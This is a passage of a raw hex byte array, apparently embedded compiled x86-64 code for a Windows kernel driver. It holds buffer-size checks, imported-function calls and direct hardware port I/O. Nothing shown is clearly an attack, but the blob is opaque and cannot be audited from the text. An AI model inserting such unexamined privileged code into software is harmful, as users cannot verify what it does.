0x48, 0xC1, 0xE0, 0x20, 0x45, 0x8B, 0x4D, 0x18, 0x4C, 0x03, 0xC8, 0x89, 0x4C, 0x24, 0x28, 0x44, 0x89, 0x54, 0x24, 0x20, 0x41, 0x8B, 0x55, 0x00, 0xBE, 0x04, 0x00, 0x00, 0x00, 0x8B, 0xCE, 0xFF,
0x15, 0x7B, 0x2E, 0x00, 0x00, 0x41, 0x89, 0x45, 0x00, 0x49, 0x89, 0x76, 0x38, 0x45, 0x89, 0x7E, 0x30, 0xEB, 0x0C, 0x4C, 0x8B, 0xB4, 0x24, 0x38, 0x03, 0x00, 0x00, 0x41, 0x89, 0x46, 0x30, 0xE9, 0xC3, 0x20, 0x00, 0x00, 0x4D, 0x89, 0x7E, 0x38, 0x41, 0xC7, 0x46, 0x30, 0x23, 0x00, 0x00, 0xC0, 0xE9, 0xB2, 0x20, 0x00, 0x00, 0x83, 0x7A, 0x08, 0x04, 0x72, 0x6C, 0x83, 0x7A, 0x10, 0x1C, 0x72, 0x66, 0x45, 0x8B, 0x45, 0x08, 0x41, 0x83, 0xE0, 0x07, 0x41, 0xC1, 0xE0, 0x05, 0x41, 0x8B, 0x45, 0x04, 0x83, 0xE0, 0x1F, 0x44, 0x0B, 0xC0, 0x45, 0x8B, 0x55, 0x0C, 0x41, 0x8B, 0x4D, 0x10, 0x41, 0x8B, 0x45, 0x14, 0x48, 0xC1, 0xE0, 0x20, 0x45, 0x8B, 0x4D, 0x18, 0x4C, 0x03, 0xC8, 0x89, 0x4C, 0x24, 0x28, 0x44, 0x89, 0x54, 0x24, 0x20, 0x41, 0x8B, 0x55, 0x00, 0xBE, 0x04, 0x00, 0x00, 0x00,
0x8B, 0xCE, 0xFF, 0x15, 0x00, 0x2E, 0x00, 0x00, 0x41, 0x89, 0x45, 0x00, 0x49, 0x89, 0x76, 0x38, 0x45, 0x89, 0x7E, 0x30, 0xEB, 0x0C, 0x4C, 0x8B, 0xB4, 0x24, 0x38, 0x03, 0x00, 0x00, 0x41, 0x89, 0x46, 0x30, 0xE9, 0x40, 0x20, 0x00, 0x00, 0x4D, 0x89, 0x7E, 0x38, 0x41, 0xC7, 0x46, 0x30, 0x23, 0x00, 0x00, 0xC0, 0xE9, 0x2F, 0x20, 0x00, 0x00, 0x83, 0x7A, 0x08, 0x34, 0x0F, 0x82, 0x50, 0x03, 0x00, 0x00, 0x83, 0x7A, 0x10, 0x08, 0x0F, 0x82, 0x46, 0x03, 0x00, 0x00, 0x45, 0x33, 0xC9, 0x4C, 0x8D, 0x84, 0x24, 0x48, 0x03, 0x00, 0x00, 0x48, 0x8D, 0x94, 0x24, 0x40, 0x03, 0x00, 0x00, 0x48, 0x8D, 0x8C, 0x24, 0x0C, 0x01, 0x00, 0x00, 0xFF, 0x15, 0x13, 0x2E, 0x00, 0x00, 0x45, 0x8B, 0x5D, 0x00, 0x49, 0xC1, 0xE3, 0x20, 0x41, 0x8B, 0x55, 0x04, 0x49, 0x03, 0xD3, 0x48, 0x8D, 0x8C, 0x24,
0xA8, 0x02, 0x00, 0x00, 0xFF, 0x15, 0xB6, 0x2D, 0x00, 0x00, 0x41, 0xB0, 0x01, 0x48, 0x8D, 0x94, 0x24, 0xA8, 0x02, 0x00, 0x00, 0x48, 0x8D, 0x8C, 0x24, 0x58, 0x02, 0x00, 0x00, 0xFF, 0x15, 0xC5, 0x2D, 0x00, 0x00, 0x4C, 0x8D, 0x8C, 0x24, 0x58, 0x01, 0x00, 0x00, 0x4C, 0x8D, 0x84, 0x24, 0x68, 0x01, 0x00, 0x00, 0xBA, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8C, 0x24, 0x58, 0x02, 0x00, 0x00, 0xFF, 0x15, 0x9A, 0x2D, 0x00, 0x00, 0x85, 0xC0, 0x0F, 0x88, 0x5E, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0x58, 0x01, 0x00, 0x00, 0x41, 0x89, 0x4D, 0x00, 0x48, 0x8B, 0xC1, 0x48, 0xC1, 0xE8, 0x20, 0x41, 0x89, 0x45, 0x04, 0x48, 0x8B, 0x51, 0x40, 0x4C, 0x8D, 0x4A, 0x08, 0x4C, 0x89, 0x8C, 0x24, 0xE8, 0x01, 0x00, 0x00, 0x8B, 0x8C, 0x24, 0x0C, 0x01, 0x00, 0x00, 0x83, 0xF9, 0x06, 0x75,
0x0E, 0x8B, 0x84, 0x24, 0x40, 0x03, 0x00, 0x00, 0x83, 0xF8, 0x04, 0x74, 0x12, 0xEB, 0x07, 0x8B, 0x84, 0x24, 0x40, 0x03, 0x00, 0x00, 0x83, 0xF9, 0x0A, 0x75, 0x2B, 0x85, 0xC0, 0x75, 0x27, 0x44, 0x8B, 0x84, 0x24, 0x48, 0x03, 0x00, 0x00, 0x41, 0x81, 0xF8, 0xBB, 0x37, 0x00, 0x00, 0x72, 0x1E, 0x4C, 0x8D, 0x4A, 0x10, 0x4C, 0x89, 0x8C, 0x24, 0xE8, 0x01, 0x00, 0x00, 0x4C, 0x89, 0x8C, 0x24, 0xE8, 0x01, 0x00, 0x00, 0xEB, 0x08, 0x44, 0x8B, 0x84, 0x24, 0x48, 0x03, 0x00, 0x00, 0x49, 0x8B, 0xDF, 0x48, 0x89, 0x5C, 0x24, 0x48, 0x83, 0xF9, 0x06, 0x73, 0x11, 0x48, 0x8D, 0x9A, 0xE8, 0x01, 0x00, 0x00, 0x48, 0x89, 0x5C, 0x24, 0x48, 0xE9, 0x97, 0x00, 0x00, 0x00, 0x83, 0xF9, 0x06, 0x75, 0x66, 0x83, 0xF8, 0x02, 0x73, 0x11, 0x48, 0x8D, 0x9A, 0x40, 0x02, 0x00, 0x00, 0x48, 0x89, 0x5C,
0x24, 0x48, 0xE9, 0x7C, 0x00, 0x00, 0x00, 0x83, 0xF8, 0x02, 0x75, 0x0E, 0x48, 0x8D, 0x9A, 0xA0, 0x02, 0x00, 0x00, 0x48, 0x89, 0x5C, 0x24, 0x48, 0xEB, 0x69, 0x83, 0xF8, 0x03, 0x75, 0x0E, 0x48, 0x8D, 0x9A, 0xB0, 0x02, 0x00, 0x00, 0x48, 0x89, 0x5C, 0x24, 0x48, 0xEB, 0x56, 0x83, 0xF8, 0x04, 0x75, 0x51, 0x41, 0x81, 0xF8, 0xBB, 0x37, 0x00, 0x00, 0x72, 0x0E, 0x48, 0x8D, 0x9A, 0xC8, 0x02, 0x00, 0x00, 0x48, 0x89, 0x5C, 0x24, 0x48, 0xEB, 0x3A, 0x48, 0x8D, 0x9A, 0xC0, 0x02, 0x00, 0x00, 0x48, 0x89, 0x5C, 0x24, 0x48, 0xEB, 0x2C, 0x83, 0xF9, 0x0A, 0x75, 0x27, 0x85, 0xC0, 0x75, 0x23, 0x41, 0x81, 0xF8, 0xBB, 0x37, 0x00, 0x00, 0x72, 0x0E, 0x48, 0x8D, 0x9A, 0xC8, 0x02, 0x00, 0x00, 0x48, 0x89, 0x5C, 0x24, 0x48, 0xEB, 0x0C, 0x48, 0x8D, 0x9A, 0xC0, 0x02, 0x00, 0x00, 0x48, 0x89,
0x5C, 0x24, 0x48, 0x48, 0x85, 0xDB, 0x0F, 0x84, 0xDF, 0x00, 0x00, 0x00, 0x49, 0x81, 0x39, 0x50, 0x47, 0x53, 0x5F, 0x0F, 0x85, 0xD2, 0x00, 0x00, 0x00, 0x49, 0x8B, 0xFF, 0x83, 0xF9, 0x06, 0x75, 0x0E, 0x83, 0xF8, 0x03, 0x75, 0x09, 0x48, 0x8B, 0x1B, 0x48, 0x83, 0xEB, 0x70, 0xEB, 0x31, 0x83, 0xF9, 0x06, 0x75, 0x05, 0x83, 0xF8, 0x04, 0x74, 0x09, 0x83, 0xF9, 0x0A, 0x75, 0x1F, 0x85, 0xC0, 0x75, 0x1B, 0x41, 0x81, 0xF8, 0xBB, 0x37, 0x00, 0x00, 0x72, 0x09, 0x48, 0x8B, 0x1B, 0x48, 0x83, 0xEB, 0x78, 0xEB, 0x0C, 0x48, 0x8B, 0x1B, 0x48, 0x83, 0xEB, 0x70, 0xEB, 0x03, 0x48, 0x8B, 0x1B, 0x48, 0x8B, 0xCB, 0xE8, 0xA8, 0xEB, 0xFF, 0xFF, 0x3D, 0x5C, 0x5F, 0x5F, 0x5F, 0x75, 0x05, 0x48, 0x8B, 0xFB, 0xEB, 0x09, 0x48, 0x8B, 0x5B, 0x10, 0x48, 0x85, 0xDB, 0x75, 0xE3, 0x48, 0x85, 0xFF,
0x0F, 0x84, 0x96, 0x00, 0x00, 0x00, 0x41, 0x89, 0x7D, 0x08, 0x48, 0x8B, 0xC7, 0x48, 0xC1, 0xE8, 0x20, 0x41, 0x89, 0x45, 0x0C, 0x48, 0x8B, 0xCF, 0xE8, 0xF3, 0xEB, 0xFF, 0xFF, 0x41, 0x89, 0x45, 0x10, 0x48, 0xC1, 0xE8, 0x20, 0x41, 0x89, 0x45, 0x14, 0x48, 0x8B, 0x47, 0x10, 0x41, 0x89, 0x45, 0x18, 0x48, 0xC1, 0xE8, 0x20, 0x41, 0x89, 0x45, 0x1C, 0x48, 0x8B, 0x47, 0x18, 0x41, 0x89, 0x45, 0x20, 0x48, 0xC1, 0xE8, 0x20, 0x41, 0x89, 0x45, 0x24, 0x48, 0x8B, 0xCF, 0xE8, 0x2F, 0xEC, 0xFF, 0xFF, 0x41, 0x89, 0x45, 0x28, 0x48, 0xC1, 0xE8, 0x20, 0x41, 0x89, 0x45, 0x2C, 0x48, 0x8B, 0xCF, 0xE8, 0x2B, 0xEB, 0xFF, 0xFF, 0x41, 0x89, 0x45, 0x30, 0xEB, 0x31, 0xBE, 0xFF, 0xFF, 0xFF, 0xFF, 0x41, 0x89, 0x75, 0x30, 0x41, 0x89, 0x75, 0x2C, 0x41, 0x89, 0x75, 0x28, 0x41, 0x89, 0x75, 0x24,
0x41, 0x89, 0x75, 0x20, 0x41, 0x89, 0x75, 0x1C, 0x41, 0x89, 0x75, 0x18, 0x41, 0x89, 0x75, 0x14, 0x41, 0x89, 0x75, 0x10, 0x41, 0x89, 0x75, 0x0C, 0x41, 0x89, 0x75, 0x08, 0x48, 0x8B, 0x8C, 0x24, 0x68, 0x01, 0x00, 0x00, 0xFF, 0x15, 0x66, 0x2B, 0x00, 0x00, 0xEB, 0x39, 0xBE, 0xFF, 0xFF, 0xFF, 0xFF, 0x41, 0x89, 0x75, 0x28, 0x41, 0x89, 0x75, 0x2C, 0x41, 0x89, 0x75, 0x28, 0x41, 0x89, 0x75, 0x24, 0x41, 0x89, 0x75, 0x20, 0x41, 0x89, 0x75, 0x1C, 0x41, 0x89, 0x75, 0x18, 0x41, 0x89, 0x75, 0x14, 0x41, 0x89, 0x75, 0x10, 0x41, 0x89, 0x75, 0x0C, 0x41, 0x89, 0x75, 0x08, 0x41, 0x89, 0x75, 0x04, 0x41, 0x89, 0x75, 0x00, 0x48, 0x8D, 0x8C, 0x24, 0x58, 0x02, 0x00, 0x00, 0xFF, 0x15, 0xE5, 0x2A, 0x00, 0x00, 0x49, 0xC7, 0x46, 0x38, 0x34, 0x00, 0x00, 0x00, 0x45, 0x89, 0x7E, 0x30, 0xEB,
0x0C, 0x4C, 0x8B, 0xB4, 0x24, 0x38, 0x03, 0x00, 0x00, 0x41, 0x89, 0x46, 0x30, 0xE9, 0xD5, 0x1C, 0x00, 0x00, 0x4D, 0x89, 0x7E, 0x38, 0x41, 0xC7, 0x46, 0x30, 0x23, 0x00, 0x00, 0xC0, 0xE9, 0xC4, 0x1C, 0x00, 0x00, 0x83, 0x7A, 0x08, 0x2C, 0x0F, 0x82, 0x36, 0x01, 0x00, 0x00, 0x83, 0x7A, 0x10, 0x0C, 0x0F, 0x82, 0x2C, 0x01, 0x00, 0x00, 0x41, 0x8B, 0x45, 0x04, 0x48, 0xC1, 0xE0, 0x20, 0x41, 0x8B, 0x4D, 0x00, 0x48, 0x03, 0xC8, 0x41, 0x8B, 0x45, 0x08, 0x0F, 0x84, 0xC3, 0x00, 0x00, 0x00, 0x49, 0x8B, 0xDF, 0x83, 0xE8, 0x01, 0x74, 0x1A, 0x83, 0xE8, 0x01, 0x74, 0x0F, 0x83, 0xF8, 0x01, 0x75, 0x14, 0xE8, 0xA9, 0xEA, 0xFF, 0xFF, 0x48, 0x8B, 0xD8, 0xEB, 0x0A, 0x48, 0x8B, 0x59, 0x18, 0xEB, 0x04, 0x48, 0x8B, 0x59, 0x10, 0x48, 0x85, 0xDB, 0x74, 0x65, 0x41, 0x89, 0x5D, 0x00, 0x48,
0x8B, 0xC3, 0x48, 0xC1, 0xE8, 0x20, 0x41, 0x89, 0x45, 0x04, 0x48, 0x8B, 0xCB, 0xE8, 0x7E, 0xEA, 0xFF, 0xFF, 0x41, 0x89, 0x45, 0x08, 0x48, 0xC1, 0xE8, 0x20, 0x41, 0x89, 0x45, 0x0C, 0x48, 0x8B, 0x43, 0x10, 0x41, 0x89, 0x45, 0x10, 0x48, 0xC1, 0xE8, 0x20, 0x41, 0x89, 0x45, 0x14, 0x48, 0x8B, 0x43, 0x18, 0x41, 0x89, 0x45, 0x18, 0x48, 0xC1, 0xE8, 0x20, 0x41, 0x89, 0x45, 0x1C, 0x48, 0x8B, 0xCB, 0xE8, 0xBA, 0xEA, 0xFF, 0xFF, 0x41, 0x89, 0x45, 0x20, 0x48, 0xC1, 0xE8, 0x20, 0x41, 0x89, 0x45, 0x24, 0x48, 0x8B, 0xCB, 0xE8, 0xB6, 0xE9, 0xFF, 0xFF, 0x41, 0x89, 0x45, 0x28, 0xEB, 0x64, 0xBE, 0xFF, 0xFF, 0xFF, 0xFF, 0x41, 0x89, 0x75, 0x28, 0x41, 0x89, 0x75, 0x24, 0x41, 0x89, 0x75, 0x20, 0x41, 0x89, 0x75, 0x1C, 0x41, 0x89, 0x75, 0x18, 0x41, 0x89, 0x75, 0x14, 0x41, 0x89, 0x75,
0x10, 0x41, 0x89, 0x75, 0x0C, 0x41, 0x89, 0x75, 0x08, 0x41, 0x89, 0x75, 0x04, 0x41, 0x89, 0x75, 0x00, 0xEB, 0x31, 0xBE, 0xFF, 0xFF, 0xFF, 0xFF, 0x41, 0x89, 0x75, 0x28, 0x41, 0x89, 0x75, 0x24, 0x41, 0x89, 0x75, 0x20, 0x41, 0x89, 0x75, 0x1C, 0x41, 0x89, 0x75, 0x18, 0x41, 0x89, 0x75, 0x14, 0x41, 0x89, 0x75, 0x10, 0x41, 0x89, 0x75, 0x0C, 0x41, 0x89, 0x75, 0x08, 0x41, 0x89, 0x75, 0x04, 0x41, 0x89, 0x75, 0x00, 0x49, 0xC7, 0x46, 0x38, 0x2C, 0x00, 0x00, 0x00, 0x45, 0x89, 0x7E, 0x30, 0xEB, 0x0C, 0x4C, 0x8B, 0xB4, 0x24, 0x38, 0x03, 0x00, 0x00, 0x41, 0x89, 0x46, 0x30, 0xE9, 0x84, 0x1B, 0x00, 0x00, 0x4D, 0x89, 0x7E, 0x38, 0x41, 0xC7, 0x46, 0x30, 0x23, 0x00, 0x00, 0xC0, 0xE9, 0x73, 0x1B, 0x00, 0x00, 0x83, 0x7A, 0x08, 0x08, 0x0F, 0x82, 0xC9, 0x02, 0x00, 0x00, 0x83, 0x7A,
0x10, 0x1C, 0x0F, 0x82, 0xBF, 0x02, 0x00, 0x00, 0x45, 0x33, 0xC9, 0x4C, 0x8D, 0x84, 0x24, 0x98, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x94, 0x24, 0xA8, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8C, 0x24, 0x80, 0x00, 0x00, 0x00, 0xFF, 0x15, 0x57, 0x29, 0x00, 0x00, 0x41, 0x8B, 0x75, 0x04, 0x48, 0xC1, 0xE6, 0x20, 0x41, 0x8B, 0x45, 0x00, 0x48, 0x03, 0xF0, 0x45, 0x8B, 0x45, 0x0C, 0x49, 0xC1, 0xE0, 0x20, 0x41, 0x8B, 0x45, 0x08, 0x4C, 0x03, 0xC0, 0x41, 0x8B, 0x7D, 0x10, 0x48, 0xC1, 0xE7, 0x20, 0x41, 0x8B, 0x45, 0x14, 0x48, 0x03, 0xF8, 0x48, 0x89, 0xBC, 0x24, 0x30, 0x03, 0x00, 0x00, 0x45, 0x8B, 0x7D, 0x18, 0x4D, 0x85, 0xC0, 0x0F, 0x84, 0x2C, 0x02, 0x00, 0x00, 0x4D, 0x8B, 0x58, 0x10, 0x4D, 0x85, 0xDB, 0x0F, 0x84, 0x1F, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x4E, 0x40, 0x4C, 0x8D, 0x51, 0x08,
0x4C, 0x89, 0x94, 0x24, 0xB8, 0x01, 0x00, 0x00, 0x8B, 0x94, 0x24, 0x80, 0x00, 0x00, 0x00, 0x83, 0xFA, 0x06, 0x75, 0x0E, 0x8B, 0x84, 0x24, 0xA8, 0x00, 0x00, 0x00, 0x83, 0xF8, 0x04, 0x74, 0x12, 0xEB, 0x07, 0x8B, 0x84, 0x24, 0xA8, 0x00, 0x00, 0x00, 0x83, 0xFA, 0x0A, 0x75, 0x2B, 0x85, 0xC0, 0x75, 0x27, 0x44, 0x8B, 0x8C, 0x24, 0x98, 0x00, 0x00, 0x00, 0x41, 0x81, 0xF9, 0xBB, 0x37, 0x00, 0x00, 0x72, 0x1E, 0x4C, 0x8D, 0x51, 0x10, 0x4C, 0x89, 0x94, 0x24, 0xB8, 0x01, 0x00, 0x00, 0x4C, 0x89, 0x94, 0x24, 0xB8, 0x01, 0x00, 0x00, 0xEB, 0x08, 0x44, 0x8B, 0x8C, 0x24, 0x98, 0x00, 0x00, 0x00, 0x33, 0xDB, 0x48, 0x89, 0x5C, 0x24, 0x58, 0x83, 0xFA, 0x06, 0x73, 0x11, 0x48, 0x8D, 0x99, 0xE8, 0x01, 0x00, 0x00, 0x48, 0x89, 0x5C, 0x24, 0x58, 0xE9, 0x97, 0x00, 0x00, 0x00, 0x83, 0xFA,
0x06, 0x75, 0x66, 0x83, 0xF8, 0x02, 0x73, 0x11, 0x48, 0x8D, 0x99, 0x40, 0x02, 0x00, 0x00, 0x48, 0x89, 0x5C, 0x24, 0x58, 0xE9, 0x7C, 0x00, 0x00, 0x00, 0x83, 0xF8, 0x02, 0x75, 0x0E, 0x48, 0x8D, 0x99, 0xA0, 0x02, 0x00, 0x00, 0x48, 0x89, 0x5C, 0x24, 0x58, 0xEB, 0x69, 0x83, 0xF8, 0x03, 0x75, 0x0E, 0x48, 0x8D, 0x99, 0xB0, 0x02, 0x00, 0x00, 0x48, 0x89, 0x5C, 0x24, 0x58, 0xEB, 0x56, 0x83, 0xF8, 0x04, 0x75, 0x51, 0x41, 0x81, 0xF9, 0xBB, 0x37, 0x00, 0x00, 0x72, 0x0E, 0x48, 0x8D, 0x99, 0xC8, 0x02, 0x00, 0x00, 0x48, 0x89, 0x5C, 0x24, 0x58, 0xEB, 0x3A, 0x48, 0x8D, 0x99, 0xC0, 0x02, 0x00, 0x00, 0x48, 0x89, 0x5C, 0x24, 0x58, 0xEB, 0x2C, 0x83, 0xFA, 0x0A, 0x75, 0x27, 0x85, 0xC0, 0x75, 0x23, 0x41, 0x81, 0xF9, 0xBB, 0x37, 0x00, 0x00, 0x72, 0x0E, 0x48, 0x8D, 0x99, 0xC8, 0x02,
0x00, 0x00, 0x48, 0x89, 0x5C, 0x24, 0x58, 0xEB, 0x0C, 0x48, 0x8D, 0x99, 0xC0, 0x02, 0x00, 0x00, 0x48, 0x89, 0x5C, 0x24, 0x58, 0x48, 0x85, 0xDB, 0x0F, 0x84, 0xEA, 0x00, 0x00, 0x00, 0x49, 0x81, 0x3A, 0x50, 0x47, 0x53, 0x5F, 0x0F, 0x85, 0xDD, 0x00, 0x00, 0x00, 0x4C, 0x8B, 0x23, 0x83, 0xFA, 0x06, 0x75, 0x0E, 0x83, 0xF8, 0x03, 0x75, 0x09, 0x49, 0x8D, 0x43, 0x70, 0x48, 0x89, 0x03, 0xEB, 0x31, 0x83, 0xFA, 0x06, 0x75, 0x05, 0x83, 0xF8, 0x04, 0x74, 0x09, 0x83, 0xFA, 0x0A, 0x75, 0x1F, 0x85, 0xC0, 0x75, 0x1B, 0x41, 0x81, 0xF9, 0xBB, 0x37, 0x00, 0x00, 0x72, 0x09, 0x49, 0x8D, 0x43, 0x78, 0x48, 0x89, 0x03, 0xEB, 0x0C, 0x49, 0x8D, 0x43, 0x70, 0x48, 0x89, 0x03, 0xEB, 0x03, 0x4C, 0x89, 0x1B, 0xC7, 0x84, 0x24, 0x38, 0x01, 0x00, 0x00, 0x41, 0x65, 0x69, 0x42, 0x49, 0x8B, 0xC8,
0xE8, 0x0B, 0xE7, 0xFF, 0xFF, 0x89, 0x84, 0x24, 0x3C, 0x01, 0x00, 0x00, 0xC7, 0x07, 0x00, 0x00, 0x00, 0x00, 0xC7, 0x44, 0x24, 0x28, 0x14, 0x00, 0x00, 0x00, 0x48, 0x89, 0x7C, 0x24, 0x20, 0x41, 0xB9, 0x08, 0x00, 0x00, 0x00, 0x4C, 0x8D, 0x84, 0x24, 0x38, 0x01, 0x00, 0x00, 0xBA, 0x04, 0xC0, 0x32, 0x00, 0x48, 0x8B, 0xCE, 0xE8, 0x46, 0xE9, 0xFF, 0xFF, 0x89, 0x84, 0x24, 0x84, 0x00, 0x00, 0x00, 0x3D, 0x05, 0x00, 0x00, 0x80, 0x75, 0x33, 0x8B, 0x4F, 0x04, 0x41, 0x3B, 0xCF, 0x73, 0x2B, 0x89, 0x4C, 0x24, 0x28, 0x48, 0x89, 0x7C, 0x24, 0x20, 0x41, 0xB9, 0x08, 0x00, 0x00, 0x00, 0x4C, 0x8D, 0x84, 0x24, 0x38, 0x01, 0x00, 0x00, 0xBA, 0x04, 0xC0, 0x32, 0x00, 0x48, 0x8B, 0xCE, 0xE8, 0x0C, 0xE9, 0xFF, 0xFF, 0x89, 0x84, 0x24, 0x84, 0x00, 0x00, 0x00, 0x41, 0x89, 0x45, 0x00, 0x41,
0x89, 0x7D, 0x04, 0x4C, 0x89, 0x23, 0xEB, 0x1C, 0xBE, 0xFF, 0xFF, 0xFF, 0xFF, 0x41, 0x89, 0x75, 0x04, 0x41, 0x89, 0x75, 0x00, 0xEB, 0x0D, 0xBE, 0xFF, 0xFF, 0xFF, 0xFF, 0x41, 0x89, 0x75, 0x04, 0x41, 0x89, 0x75, 0x00, 0x49, 0xC7, 0x46, 0x38, 0x08, 0x00, 0x00, 0x00, 0x41, 0xC7, 0x46, 0x30, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x0C, 0x4C, 0x8B, 0xB4, 0x24, 0x38, 0x03, 0x00, 0x00, 0x41, 0x89, 0x46, 0x30, 0xE9, 0xA0, 0x18, 0x00, 0x00, 0x4D, 0x89, 0x7E, 0x38, 0x41, 0xC7, 0x46, 0x30, 0x23, 0x00, 0x00, 0xC0, 0xE9, 0x8F, 0x18, 0x00, 0x00, 0x83, 0x7A, 0x08, 0x04, 0x73, 0x11, 0x4D, 0x89, 0x7E, 0x38, 0x41, 0xC7, 0x46, 0x30, 0x23, 0x00, 0x00, 0xC0, 0xE9, 0x78, 0x18, 0x00, 0x00, 0x41, 0xC7, 0x45, 0x00, 0x41, 0x01, 0x00, 0x00, 0xBE, 0x04, 0x00, 0x00, 0x00, 0x49, 0x89, 0x76, 0x38,
0x45, 0x89, 0x7E, 0x30, 0xE9, 0x5E, 0x18, 0x00, 0x00, 0x83, 0x7A, 0x08, 0x10, 0x0F, 0x82, 0x93, 0x01, 0x00, 0x00, 0x83, 0x7A, 0x10, 0x0C, 0x0F, 0x82, 0x89, 0x01, 0x00, 0x00, 0x45, 0x8B, 0x7D, 0x00, 0x44, 0x89, 0xBC, 0x24, 0x30, 0x03, 0x00, 0x00, 0x41, 0x0F, 0xB6, 0x45, 0x08, 0x88, 0x84, 0x24, 0x30, 0x03, 0x00, 0x00, 0x33, 0xC0, 0x8B, 0xC8, 0x89, 0x44, 0x24, 0x44, 0x88, 0x44, 0x24, 0x30, 0xBE, 0xE8, 0x03, 0x00, 0x00, 0x44, 0x8B, 0xE0, 0x89, 0x84, 0x24, 0xB0, 0x00, 0x00, 0x00, 0x89, 0x44, 0x24, 0x60, 0x41, 0x0F, 0xB6, 0x7D, 0x04, 0x40, 0x02, 0xFF, 0x40, 0x80, 0xCF, 0x01, 0x8B, 0xDE, 0x89, 0x5C, 0x24, 0x7C, 0x41, 0x0F, 0xB7, 0xD7, 0xEC, 0xA8, 0x40, 0x74, 0x37, 0x90, 0x83, 0xEB, 0x01, 0x89, 0x5C, 0x24, 0x7C, 0x79, 0x16, 0x44, 0x0F, 0xB6, 0xE0, 0x44, 0x89, 0xA4,
0x24, 0xB0, 0x00, 0x00, 0x00, 0x44, 0x8B, 0x44, 0x24, 0x60, 0xE9, 0xD7, 0x00, 0x00, 0x00, 0xB9, 0x0A, 0x00, 0x00, 0x00, 0xFF, 0x15, 0x76, 0x25, 0x00, 0x00, 0x41, 0x0F, 0xB7, 0xD7, 0xEC, 0xA8, 0x40, 0x41, 0x8B, 0xCC, 0x75, 0xCA, 0x41, 0x0F, 0xB7, 0xD7, 0xB0, 0xBF, 0xEE, 0x41, 0x8D, 0x57, 0x04, 0x40, 0x0F, 0xB6, 0xC7, 0xEE, 0x41, 0x8D, 0x57, 0x03, 0x0F, 0xB6, 0x84, 0x24, 0x30, 0x03, 0x00, 0x00, 0xEE, 0x41, 0x8D, 0x7F, 0x02, 0x0F, 0xB7, 0xD7, 0xEC, 0x0F, 0xB6, 0xD8, 0x80, 0xE3, 0xA8, 0x80, 0xCB, 0x08, 0x0F, 0xB6, 0xC3, 0xEE, 0xB9, 0x05, 0x00, 0x00, 0x00, 0xFF, 0x15, 0x2D, 0x25, 0x00, 0x00, 0x80, 0xCB, 0x40, 0x0F, 0xB7, 0xD7, 0x0F, 0xB6, 0xC3, 0xEE, 0xB9, 0x64, 0x00, 0x00, 0x00, 0xFF, 0x15, 0x18, 0x25, 0x00, 0x00, 0x89, 0x74, 0x24, 0x7C, 0x41, 0x0F, 0xB7, 0xD7,
0xEC, 0xA8, 0x01, 0x74, 0x32, 0xB9, 0x0A, 0x00, 0x00, 0x00, 0xFF, 0x15, 0x00, 0x25, 0x00, 0x00, 0x83, 0xEE, 0x01, 0x89, 0x74, 0x24, 0x7C, 0x79, 0x17, 0x41, 0xBC, 0xEE, 0x00, 0x00, 0x00, 0x44, 0x89, 0xA4, 0x24, 0xB0, 0x00, 0x00, 0x00, 0x8B, 0x4C, 0x24, 0x44, 0x44, 0x8B, 0xC1, 0xEB, 0x36, 0x41, 0x0F, 0xB7, 0xD7, 0xEC, 0xEB, 0xCA, 0x44, 0x0F, 0xB6, 0xC0, 0x44, 0x89, 0x44, 0x24, 0x60, 0xA8, 0x04, 0x75, 0x1C, 0xA8, 0x08, 0x75, 0x18, 0xA8, 0x10, 0x75, 0x14, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x89, 0x4C, 0x24, 0x44, 0x41, 0x8D, 0x57, 0x05, 0xEC, 0x88, 0x44, 0x24, 0x30, 0xEB, 0x06, 0x33, 0xC9, 0x89, 0x4C, 0x24, 0x44, 0x41, 0x0F, 0xB7, 0xD7, 0xEC, 0x0C, 0x44, 0xEE, 0x41, 0x89, 0x4D, 0x00, 0x0F, 0xB6, 0x44, 0x24, 0x30, 0x41, 0x89, 0x45, 0x04, 0x45, 0x89, 0x65, 0x08, 0x45,
0x89, 0x45, 0x0C, 0x49, 0xC7, 0x46, 0x38, 0x10, 0x00, 0x00, 0x00, 0x41, 0xC7, 0x46, 0x30, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x0C, 0x4C, 0x8B, 0xB4, 0x24, 0x38, 0x03, 0x00, 0x00, 0x41, 0x89, 0x46, 0x30, 0xE9, 0xC1, 0x16, 0x00, 0x00, 0x4D, 0x89, 0x7E, 0x38, 0x41, 0xC7, 0x46, 0x30, 0x23, 0x00, 0x00, 0xC0, 0xE9, 0xB0, 0x16, 0x00, 0x00, 0x83, 0x7A, 0x08, 0x10, 0x0F, 0x82, 0xAE, 0x02, 0x00, 0x00, 0x83, 0x7A, 0x10, 0x14, 0x0F, 0x82, 0xA4, 0x02, 0x00, 0x00, 0x41, 0x8B, 0x45, 0x00, 0x41, 0x8B, 0x4D, 0x04, 0x89, 0x8C, 0x24, 0x40, 0x03, 0x00, 0x00, 0x41, 0x8B, 0x5D, 0x08, 0x45, 0x8B, 0x65, 0x0C, 0x41, 0x8B, 0x75, 0x10, 0x8D, 0x79, 0x08, 0x44, 0x8B, 0xF8, 0x41, 0xC1, 0xEF, 0x08, 0x41, 0x83, 0xE7, 0x07, 0x8B, 0xD0, 0xC1, 0xEA, 0x0B, 0x83, 0xE2, 0x1F, 0x89, 0x94, 0x24, 0x48,
0x03, 0x00, 0x00, 0xC1, 0xE8, 0x10, 0x0F, 0xB6, 0xC0, 0x89, 0x84, 0x24, 0x30, 0x03, 0x00, 0x00, 0x48, 0x8D, 0x8C, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x89, 0x4C, 0x24, 0x20, 0x44, 0x8B, 0xCF, 0x45, 0x8B, 0xC7, 0x8B, 0xC8, 0xE8, 0xC6, 0xE5, 0xFF, 0xFF, 0xC1, 0xE3, 0x1C, 0x8B, 0xCB, 0x0F, 0xB6, 0x84, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x0B, 0xC8, 0x48, 0x0F, 0xBA, 0xE9, 0x1B, 0x48, 0x89, 0x8C, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x89, 0x4C, 0x24, 0x20, 0x44, 0x8B, 0xCF, 0x45, 0x8B, 0xC7, 0x8B, 0xBC, 0x24, 0x48, 0x03, 0x00, 0x00, 0x8B, 